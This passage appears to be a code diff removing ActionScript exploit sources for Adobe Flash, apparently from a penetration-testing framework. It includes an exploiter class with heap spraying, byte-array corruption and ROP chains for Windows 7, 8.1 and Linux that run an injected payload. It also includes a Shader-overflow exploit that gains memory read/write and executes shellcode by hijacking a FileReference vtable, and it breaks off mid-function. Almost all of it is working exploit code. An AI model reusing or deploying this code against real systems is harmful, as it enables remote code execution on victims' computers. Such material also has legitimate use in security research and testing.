||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,411 +0,0 @@
|
||||||
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
|
|
||||||
package {
|
|
||||||
import flash.display.Sprite;
|
|
||||||
import flash.utils.ByteArray;
|
|
||||||
import flash.display.Shader;
|
|
||||||
import flash.system.Capabilities;
|
|
||||||
import flash.net.FileReference;
|
|
||||||
import flash.utils.Endian;
|
|
||||||
import __AS3__.vec.Vector;
|
|
||||||
import __AS3__.vec.*;
|
|
||||||
import flash.display.LoaderInfo;
|
|
||||||
|
|
||||||
public class Graph extends Sprite {
|
|
||||||
|
|
||||||
static var counter:uint = 0;
|
|
||||||
|
|
||||||
protected var Shad:Class;
|
|
||||||
var shellcode_byte_array:ByteArray;
|
|
||||||
var aaab:ByteArray;
|
|
||||||
var shellcodeObj:Array;
|
|
||||||
|
|
||||||
public function Graph(){
|
|
||||||
var tweaked_vector:* = undefined;
|
|
||||||
var tweaked_vector_address:* = undefined;
|
|
||||||
var shader:Shader;
|
|
||||||
var flash_memory_protect:Array;
|
|
||||||
var code_vectors:Array;
|
|
||||||
var address_code_vector:uint;
|
|
||||||
var address_shellcode_byte_array:uint;
|
|
||||||
this.Shad = Graph_Shad;
|
|
||||||
super();
|
|
||||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
|
||||||
var i:* = 0;
|
|
||||||
var j:* = 0;
|
|
||||||
|
|
||||||
// Just one try
|
|
||||||
counter++;
|
|
||||||
if (counter > 1)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Memory massage
|
|
||||||
var array_length:uint = 0x10000;
|
|
||||||
var vector_size:uint = 34;
|
|
||||||
var array:Array = new Array();
|
|
||||||
i = 0;
|
|
||||||
while (i < array_length)
|
|
||||||
{
|
|
||||||
array[i] = new Vector.<int>(1);
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
i = 0;
|
|
||||||
while (i < array_length)
|
|
||||||
{
|
|
||||||
array[i] = new Vector.<int>(vector_size);
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
i = 0;
|
|
||||||
while (i < array_length)
|
|
||||||
{
|
|
||||||
array[i].length = 0;
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
i = 0x0200;
|
|
||||||
while (i < array_length)
|
|
||||||
{
|
|
||||||
array[(i - (2 * (j % 2)))].length = 0x0100;
|
|
||||||
i = (i + 28);
|
|
||||||
j++;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Overflow and Search for corrupted vector
|
|
||||||
var corrupted_vector_idx:uint;
|
|
||||||
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
|
||||||
shadba.position = 232;
|
|
||||||
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
|
||||||
{
|
|
||||||
shadba.writeUnsignedInt(2472);
|
|
||||||
};
|
|
||||||
shadba.position = 0;
|
|
||||||
while (1)
|
|
||||||
{
|
|
||||||
shader = new Shader();
|
|
||||||
try
|
|
||||||
{
|
|
||||||
shader.byteCode = (new this.Shad() as ByteArray);
|
|
||||||
} catch(e)
|
|
||||||
{
|
|
||||||
};
|
|
||||||
i = 0;
|
|
||||||
while (i < array_length)
|
|
||||||
{
|
|
||||||
if (array[i].length > 0x0100)
|
|
||||||
{
|
|
||||||
corrupted_vector_idx = i;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
if (i != array_length)
|
|
||||||
{
|
|
||||||
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
|
||||||
};
|
|
||||||
array.push(new Vector.<int>(vector_size));
|
|
||||||
};
|
|
||||||
|
|
||||||
// Tweak the vector following the corrupted one
|
|
||||||
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
|
||||||
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
|
||||||
|
|
||||||
// repair the corrupted vector by restoring its
|
|
||||||
// vector object pointer and length
|
|
||||||
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
|
||||||
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
|
||||||
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
|
||||||
i = 0;
|
|
||||||
var val:uint;
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
val = tweaked_vector[(0x40000000 - i)];
|
|
||||||
if (val == 0x90001B) break;
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
tweaked_vector_address = 0;
|
|
||||||
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
|
||||||
{
|
|
||||||
tweaked_vector[4] = 0x41414141;
|
|
||||||
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
|
||||||
};
|
|
||||||
|
|
||||||
// More memory massage, fill an array of FileReference objects
|
|
||||||
var file_reference_array:Array = new Array();
|
|
||||||
i = 0;
|
|
||||||
while (i < 64)
|
|
||||||
{
|
|
||||||
file_reference_array[i] = new FileReference();
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
|
|
||||||
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
|
||||||
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
|
||||||
var do_it:Boolean = true;
|
|
||||||
var memory_protect_ptr:uint;
|
|
||||||
var aaaq:uint;
|
|
||||||
if (do_it)
|
|
||||||
{
|
|
||||||
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
|
||||||
memory_protect_ptr = flash_memory_protect[0];
|
|
||||||
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
|
||||||
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
|
||||||
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
|
||||||
this.fillCodeVectors(code_vectors);
|
|
||||||
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
|
||||||
tweaked_vector[4] = aaaq;
|
|
||||||
tweaked_vector[0] = 0x1000; // Length
|
|
||||||
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
|
||||||
|
|
||||||
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
|
||||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
|
||||||
|
|
||||||
// 1) Set memory as executable
|
|
||||||
i = 0;
|
|
||||||
while (i < 64)
|
|
||||||
{
|
|
||||||
file_reference_array[i].cancel();
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
|
|
||||||
// 2) Execute shellcode
|
|
||||||
tweaked_vector[7] = address_code_vector;
|
|
||||||
i = 0;
|
|
||||||
while (i < 64)
|
|
||||||
{
|
|
||||||
file_reference_array[i].cancel();
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Restore FileReference cancel function pointer
|
|
||||||
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
|
||||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// returns the integer at memory address
|
|
||||||
// vector: vector with tweaked length
|
|
||||||
// vector_address: vector's memory address
|
|
||||||
// address: memory address to read
|
|
||||||
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
|
||||||
if (address >= vector_address)
|
|
||||||
{
|
|
||||||
return (vector[((address - vector_address) / 4)]);
|
|
||||||
};
|
|
||||||
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
|
||||||
}
|
|
||||||
|
|
||||||
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
|
||||||
if (address >= vector_address)
|
|
||||||
{
|
|
||||||
vector[((address - vector_address) / 4)] = value;
|
|
||||||
} else
|
|
||||||
{
|
|
||||||
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
|
||||||
var content:uint;
|
|
||||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
|
||||||
var index:uint;
|
|
||||||
var memory_protect_ptr:uint;
|
|
||||||
var _local_6:uint;
|
|
||||||
if (allocation >= vector_address)
|
|
||||||
{
|
|
||||||
index = ((allocation - vector_address) / 4);
|
|
||||||
} else
|
|
||||||
{
|
|
||||||
index = (0x40000000 - ((vector_address - allocation) / 4));
|
|
||||||
};
|
|
||||||
|
|
||||||
//push 1 ; 6a 01
|
|
||||||
//push dword ptr [eax-8] ; ff 70 f8
|
|
||||||
//push dword ptr [eax-4] ; ff 70 fc
|
|
||||||
//call sub_1059DD00 // Will do VirtualProtect
|
|
||||||
var offset:uint;
|
|
||||||
while (1)
|
|
||||||
{
|
|
||||||
index--;
|
|
||||||
content = vector[index];
|
|
||||||
if (content == 0xfff870ff)
|
|
||||||
{
|
|
||||||
offset = 2;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
if (content == 0xf870ff01)
|
|
||||||
{
|
|
||||||
offset = 1;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
if (content == 0x70ff016a)
|
|
||||||
{
|
|
||||||
content = vector[(index + 1)];
|
|
||||||
if (content == 0xfc70fff8)
|
|
||||||
{
|
|
||||||
offset = 0;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
} else
|
|
||||||
{
|
|
||||||
if (content == 0x70fff870)
|
|
||||||
{
|
|
||||||
offset = 3;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
|
||||||
index--;
|
|
||||||
var content_before:uint = vector[index];
|
|
||||||
|
|
||||||
if (content_before == 0x16a0424)
|
|
||||||
{
|
|
||||||
return ([memory_protect_ptr, _local_6]);
|
|
||||||
};
|
|
||||||
if (content_before == 0x6a042444)
|
|
||||||
{
|
|
||||||
return ([memory_protect_ptr, _local_6]);
|
|
||||||
};
|
|
||||||
if (content_before == 0x424448b)
|
|
||||||
{
|
|
||||||
return ([memory_protect_ptr, _local_6]);
|
|
||||||
};
|
|
||||||
if (content_before == 0xff016a04)
|
|
||||||
{
|
|
||||||
return ([memory_protect_ptr, _local_6]);
|
|
||||||
};
|
|
||||||
_local_6 = (memory_protect_ptr - 6);
|
|
||||||
|
|
||||||
while (1)
|
|
||||||
{
|
|
||||||
index--;
|
|
||||||
content = vector[index];
|
|
||||||
if (content == 0x850ff50)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
|
||||||
{
|
|
||||||
offset = 0;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
content = (content & 0xFFFFFF00);
|
|
||||||
if (content == 0x50FF5000)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 1)]) == 0xcc48308)
|
|
||||||
{
|
|
||||||
offset = 1;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
content = (content & 0xFFFF0000);
|
|
||||||
if (content == 0xFF500000)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 1)]) == 0xc4830850)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
|
||||||
{
|
|
||||||
offset = 2;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
};
|
|
||||||
content = (content & 0xFF000000);
|
|
||||||
if (content == 0x50000000)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 1)]) == 0x830850ff)
|
|
||||||
{
|
|
||||||
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
|
||||||
{
|
|
||||||
offset = 3;
|
|
||||||
break;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
};
|
|
||||||
};
|
|
||||||
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
|
||||||
return ([memory_protect_ptr, _local_6]);
|
|
||||||
}
|
|
||||||
|
|
||||||
// vector: vector with tweaked length
|
|
||||||
// address: memory address of vector data
|
|
||||||
function find_file_ref_vtable(vector:*, address:*):uint{
|
|
||||||
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
|
||||||
|
|
||||||
// Find an allocation of size 0x2a0
|
|
||||||
var allocation_size:uint;
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
|
||||||
if (allocation_size == 0x2a0) break;
|
|
||||||
